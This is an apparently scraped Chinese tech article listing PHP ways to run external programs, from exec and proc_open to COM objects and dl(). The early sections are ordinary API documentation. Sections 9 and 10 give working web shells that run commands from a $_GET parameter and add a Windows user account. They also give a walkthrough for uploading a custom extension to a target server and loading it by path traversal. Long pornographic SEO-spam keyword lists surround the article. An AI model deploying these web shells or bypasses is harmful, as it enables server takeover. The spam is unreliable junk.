日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

PHP調用外部程序的方法解析

瀏覽:159日期:2022-09-08 08:01:41

很多情況下需要php調用其他程序如shell命令、shell腳本、可執行程序等等,此時需要使用到諸如exec/system/popen/proc_open等函數,每種函數有各自適合使用的場景以及需要注意的地方。

前提:PHP沒有運行在安全模式

如果PHP運行在安全模式下,那么在執行外部命令、打開文件、連接數據庫、基于HTTP的認證這4個方面將會受到制約,可能在調用外部程序時無法獲取預期的結果,此時需要設置特定目錄,可以在php.ini中編輯safe_mode_exec_dir參數來指定。

1. exec

原型:string exec ( string command [, array &output [, int &return_var]] ) 描述:返回值保存最后的輸出結果,而所有輸出結果將會保存到$output數組,$return_var用來保存命令執行的狀態碼(用來檢測成功或失敗)。 例子:$ret = exec('ls -al', $output, $var); 注意: A. 輸出結果會逐行追加到$output中,因此在調用exec之前需要unset($output),特別是循環調用的時候。 B. 如果想通過exec調用外部程序后馬上繼續執行后續代碼,僅僅在命令里加'&'是不夠的,此時exec依然會等待命令執行完畢;需要再將標準輸出做重定向才可以,例如:exec('ls -al >/dev/null &', $output, $var); C. 要學會善用EscapeShellCmd()和EscapeShellArg()。函數EscapeShellCmd把一個字符串 中所有可能瞞過Shell而去執行另外一個命令的字符轉義。這些字符在Shell中是有特殊含義的,象分號(|),重定向(>)和從文件讀入 (<)等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字符串兩邊加上單引號,并把字符串中的單引號轉義,這樣這個字符串 就可以安全地作為命令的參數。

2. system

原型:string system ( string command [, int &return_var] ) 描述:執行給定的命令,返回最后的輸出結果;第二個參數是可選的,用來得到命令執行后的狀態碼。 例子:$ret = system('ls -al', $var); 注意:略。

3. passthru

原型:void passthru (string command [, int return_var]) 描述:執行給定的命令,但不返回任何輸出結果,而是直接輸出到顯示設備上;第二個參數可選,用來得到命令執行后的狀態碼。 例子:passthru('ls -al', $var); 注意:略。

4. popen

原型:resource popen ( string command, string mode ) 描述:打開一個指向進程的管道,該進程由派生給定的 command 命令執行而產生。 返回一個和 fopen() 所返回的相同的文件指針,只不過它是單向的(只能用于讀或寫)并且必須用 pclose() 來關閉。此指針可以用于 fgets(),fgetss() 和 fwrite()。  例子:$fd = popen('command', ’r’); $ret = fgets($fd); 注意:只能打開單向管道,不是’r’就是’w’;并且需要使用pclose()來關閉。

5. proc_open

原型:resource proc_open ( string cmd, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]] ) 描述:與popen類似,但是可以提供雙向管道。具體的參數讀者可以自己翻閱資料,比如該博客: http://hi.baidu.com/alex_wang58/blog/item/a28657de16fec55195ee372a.html。 注意: A. 后面需要使用proc_close()關閉資源,并且如果是pipe類型,需要用pclose()關閉句柄。 B. proc_open打開的程序作為php的子進程,php退出后該子進程也會退出。 C.  筆者在使用的時候遇到獲取外部程序輸出阻塞的問題,也就是在例子中的fgets($pipes[1])語句阻塞了,無法繼續進行。經過多方查證后發現,問題一般出在外部程序中,比如外部程序是C程序,使用fprintf(stdin, '**** n');輸出結果,此時需要加上fflush(stdout);才行,否則輸出結果可能會暫留緩存中,無法真正輸出,而php也就無法獲取輸出了。 例子:

// /< 打開管道 $pwd = ' ***** ' ; $pipes = array (); $command = ' ***** ' ; $desc = array ( array ( ’ pipe ’ , ’ r ’ ) , array ( ’ pipe ’ , ’ w ’ ) , array ( ’ pipe ’ , ’ w ’ )); $handle = proc_open ( $command , $desc , $pipes , $pwd ); if ( ! is_resource ( $handle )) { fprintf (STDERR , ' proc_open failed.n ' ); exit ( 1 );} // /< 讀寫 fwrite ( $pipes [ 0 ] , ' *****n ' ); $ret = rtrim ( fgets ( $pipes [ 1 ]) , ' n ' ); // /< 關閉管道 fclose ( $pipes [ 0 ]); fclose ( $pipes [ 1 ]); fclose ( $pipes [ 2 ]); proc_close ( $handle );6. shell_exec

原型:string shell_exec ( string $cmd )描述:cmd:要執行的命令    返回值:命令執行的輸出。 如果執行過程中發生錯誤或者進程不產生輸出,則返回 NULL。例子:

<?phpecho shell_exec(’pwd’);?>

執行結果:/var/www/html

7. 反撇號`

描述:shell_exec() 函數實際上僅是反撇號 (`) 操作符的變體 

例子:

<?phpecho `pwd`;?>

執行結果:/var/www/html

8.cntl_exec

原型:void pcntl_exec ( string $path [, array $args [, array $envs ]] )描述:(PHP 4 >= 4.2.0, PHP 5, PHP 7)pcntl_exec — 在當前進程空間執行以給定參數執行指定程序。pcntl是linux下的一個擴展,可以支持php的多線程操作。參數:path: 必須是可執行二進制文件路徑或一個在文件第一行指定了一個可執行文件路徑標頭的腳本(比如文件第一行是#!/usr/local/bin/perl的perl腳本)。 更多的信息請查看您系統的execve(2)手冊。args: 一個要傳遞給程序的參數的字符串數組。envs: 一個要傳遞給程序作為環境變量的字符串數組。這個數組是 key => value格式的,key代表要傳遞的環境變量的名稱,value代表該環境變量值。返回值:當發生錯誤時返回 FALSE ,沒有錯誤時沒有返回。

9. COM組建(針對windwos環境下使用com組建)

原型: Wscript.Shell->exec(command) // Shell.Application->ShellExecute(appName,appArgs,appPath) // Shell.Application->open(appPath) //要填寫程序絕對路徑,并且應該沒有辦法加參數 Shell.Application->NameSpace('C:WindowsSystem32')->Items()->item('cmd.exe')->invokeverb() Shell.Application->NameSpace('C:WindowsSystem32')->Items()->item('cmd.exe')->invokeverbEx() 描述:在windwos下,并且在php中開啟com組建擴展之后可以使用這種方法(打開方式自行百度) 徹底的解決方案是 直接刪除System32目錄下wshom.ocx文件 例子:

<?php$phpwsh=new COM('Wscript.Shell') or die('Create Wscript.Shell Failed!'); $exec=$phpwsh->exec('cmd.exe /c '.$_GET[’c’].''); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> <?php$phpwsh=new COM('Shell.Application') or die('Create Wscript.Shell Failed!'); $exec=$phpwsh->ShellExecute('net',' user tiny tiny /add');//$exec=$phpwsh->ShellExecute('cmd','/c net user tiny tiny /add');?> <?php$phpwsh=new COM('Shell.Application') or die('Create Wscript.Shell Failed!'); $exec=$phpwsh->open('c:windowssystem32cmd.exe');?> <?php$a=new COM('Shell.Application');$a->NameSpace('C:WindowsSystem32')->Items()->item('cmd.exe')->invokeverb();?> <?php$a=new COM('Shell.Application');$a->NameSpace('C:WindowsSystem32')->Items()->item('cmd.exe')->invokeverbEx();?>10.  dl()

要求:php沒有開啟安全模式,并且enable_dl選項為on,并且php版本支持dl函數 (在 PHP 5.3 里,此函數被某些 SAPI 移除了,也就是沒有這個函數?) 說明:extension_dir選項可以指定擴展模塊的目錄,但是我們可以使用相對路徑的方式繞過 原理:自己編寫擴展,然后使用dl加載此擴展。 舉例(linux): 準備工作: 自行上網下載apache和相近版本的php源碼,按照apache和php的官方文檔進行安裝。 我們主要需要三個文件:phpize,php-config和ext_skel:在正確安裝好了apache和php之后, phpize和php-config將被安裝(可以自行find),而ext_skel則是是在php源碼中的ext目錄中。 ext_skel是php源碼包中的用來幫助制作擴展的程序。 1)轉到php-x.x.xx/ext中首先新建xxx.skel文件,里面填寫要制作的擴展中的函數原型,例如: string exec(string str) 2)執行命令:./ext_skel --extname=tinymin --proto=xxx.skel 之后便生成了tinymin目錄, 里面則是擴展所需要的文件 3)cd tinymin 4)vi config.m4  將 config.m4文件里面 dnl PHP_ARG_WITH(myext, for myext support, dnl Make sure that the comment is aligned: dnl [ --with-myext Include myext support]) 修改成 PHP_ARG_WITH(myext, for myext support, [ --with-myext Include myext support]) 5)vi tinymin.c 將PHP_FUNCTION(exec)后面的大括號里面的代碼的最后一行刪除,并寫上自己的代碼,修改后如:PHP_FUNCTION(haha) { char *str = NULL; int argc = ZEND_NUM_ARGS(); int str_len; if (zend_parse_parameters(argc TSRMLS_CC, 's', &str, &str_len) == FAILURE)  return; return system(str); } 6)找到phpize:find / -name 'phpize' 然后運行一下phpize: /my_lamp/php/bin/phpize 7) 同樣方式找到php-config,然后運行configure: ./configure --with-php-config=/my_lamp/php/bin/php-config 8)make&&make install  之后便在自己的php擴展目錄中生成了擴展tinymin.so 在目標服務器上面上傳tinymin.so(不一定要在它的php擴展目錄中,因為可以使用相對路徑) 用法例如: <?php dl('../../../../../tmp/tinymin.so'); echo exec($_GET[’cmd’]); ?> 這種方法也很老了,我在自己的的kali2上面嘗試這樣做的時候提示沒有dl這個函數,具體原因參見php manual windows上應該也是一樣的原理。不過沒有試過

11.  內核變量

網址:http://www.freebuf.com/articles/web/82801.html 

以上就是PHP調用外部程序的方法解析的詳細內容,更多關于PHP調用外部程序的方法的資料請關注好吧啦網其它相關文章!

標簽: PHP
相關文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
国产一区二区三区精品在线观看| 蜜桃视频在线观看一区| 视频国产精品| 国产亚洲一卡2卡3卡4卡新区| 国产精品中文字幕制服诱惑| 电影91久久久| 欧美精品一卡| 国产一卡不卡| 欧洲精品一区二区三区| 亚洲精品小说| 久久精品97| 麻豆视频在线看| 亚洲欧美网站| 久久一区精品| 亚洲一区二区免费看| 国产精品一卡| 极品裸体白嫩激情啪啪国产精品| 久久亚洲二区| 国产一区二区久久久久| 欧美日韩四区| 激情中国色综合| 在线看片日韩| 高清av不卡| 综合精品一区| 欧美freesex黑人又粗又大| 水野朝阳av一区二区三区| 国产精品www994| 妖精视频成人观看www| 另类综合日韩欧美亚洲| 亚洲激情国产| 激情国产在线| 欧美亚洲tv| 香蕉国产精品| 你懂的亚洲视频| 蜜乳av另类精品一区二区| 国产一区二区三区不卡视频网站 | 国产伦理久久久久久妇女| 91精品一区二区三区综合在线爱| 婷婷精品在线| 国产综合精品| 美女av一区| 亚洲精品电影| 久久97久久97精品免视看秋霞| 日韩亚洲精品在线| 91偷拍一区二区三区精品| 日韩精品三级| 国产激情精品一区二区三区| 久久美女精品| 久久黄色影院| 久久精品99久久无色码中文字幕| 精品中文在线| 悠悠资源网久久精品| 日韩**一区毛片| 国产成人免费| 亚洲精品极品| 久久久久国产精品一区三寸| 亚洲欧美网站| 九九久久国产| 91久久午夜| 美腿丝袜亚洲三区| 日韩午夜黄色| 成人午夜在线| 亚洲精品极品| 久久精品国内一区二区三区水蜜桃| 最新国产精品视频| 亚洲综合电影| 国产精品极品在线观看| 丝袜国产日韩另类美女| 国产一区亚洲| 伊人网在线播放| 亚洲精品看片| 欧美性感美女一区二区| 九九色在线视频| 欧美精品观看| 国产精品jk白丝蜜臀av小说| 私拍精品福利视频在线一区| 成人三级高清视频在线看| 欧美国产专区| 国产精品久久久久毛片大屁完整版| 亚洲欧洲日韩| 蜜桃伊人久久| 日韩在线一二三区| 国产精品女主播一区二区三区| 一区二区三区四区在线看| 国产自产自拍视频在线观看| 福利在线一区| 欧美国产小视频| 美女精品视频在线| 九九久久国产| 国产一区二区三区网| 精品久久一区| www.九色在线| 中文字幕在线视频久| 成年男女免费视频网站不卡| 日韩av在线中文字幕| www在线观看黄色| 电影天堂国产精品| 日本精品不卡| 99久久婷婷这里只有精品| 激情欧美日韩一区| 伊人久久成人| 在线看片一区| 日韩中文一区二区| 日韩精品欧美大片| 国产人成精品一区二区三| 国产精品地址| 精品美女久久| 日韩网站中文字幕| 激情综合在线| 视频在线观看91| 日韩精品国产精品| 国产精品伊人| 成人精品动漫一区二区三区| 日本午夜大片a在线观看| 秋霞影视一区二区三区| 黄色av一区| 亚洲精品自拍| 日韩精品a在线观看91| 国产精品一区亚洲| 福利片在线一区二区| 久久久国产精品一区二区中文| 免费成人网www| 久久亚洲风情| 国产情侣久久| а√在线中文在线新版| 一区二区小说| 亚洲精品九九| 精品三区视频| 韩日一区二区三区| 亚洲欧美在线综合| 精品国产亚洲一区二区三区在线 | 久久精品1区| 美女被久久久| 老司机免费视频一区二区三区| 中文字幕在线官网| 亚洲一区二区动漫| 国产欧美一区二区三区米奇| 国产高清不卡| 综合国产精品| 久久在线91| 最新日韩欧美| 国产精品66| 欧洲激情综合| 欧美日韩一区二区国产| 久久久成人网| 亚洲狼人精品一区二区三区| 麻豆传媒一区二区三区| 亚洲调教视频在线观看| 日本欧美韩国一区三区| 成人羞羞视频播放网站| 日韩精品一二三四| 精品视频国内| 免费看黄色91| 色欧美自拍视频| 亚洲欧洲美洲国产香蕉| 精品国产乱码久久久久久樱花| 最新日韩欧美| 久久中文字幕一区二区三区| 国产精品腿扒开做爽爽爽挤奶网站| 国产精品成人国产| 欧洲av一区二区| 久久国际精品| 欧美网站在线| 精品久久久网| 色狠狠一区二区三区| 中文字幕系列一区| 国产免费播放一区二区| 亚洲欧洲另类| 国产精品久久观看| 日本成人中文字幕| 欧美中文字幕一区二区| 国产精品99精品一区二区三区∴ | 蜜桃tv一区二区三区| 国产日韩欧美一区在线| 欧美日韩国产免费观看| 国产一区二区三区四区| 亚洲日本欧美| 极品日韩av| 精品国产一区二区三区噜噜噜| 久久国产精品久久久久久电车 | 亚洲三级视频| 久久激情中文| 精品中国亚洲| 日韩和欧美一区二区| 欧美成a人国产精品高清乱码在线观看片在线观看久 | 国产高清日韩| 在线视频免费在线观看一区二区| 国产一区二区亚洲| 日韩高清三区| 99re国产精品| 高清在线一区| 国产乱码精品一区二区亚洲| 午夜亚洲精品| 欧美综合另类| 国产乱码午夜在线视频| 国产精品欧美大片| 日本亚洲不卡| 噜噜噜久久亚洲精品国产品小说| 99久久精品国产亚洲精品| 国产福利片在线观看|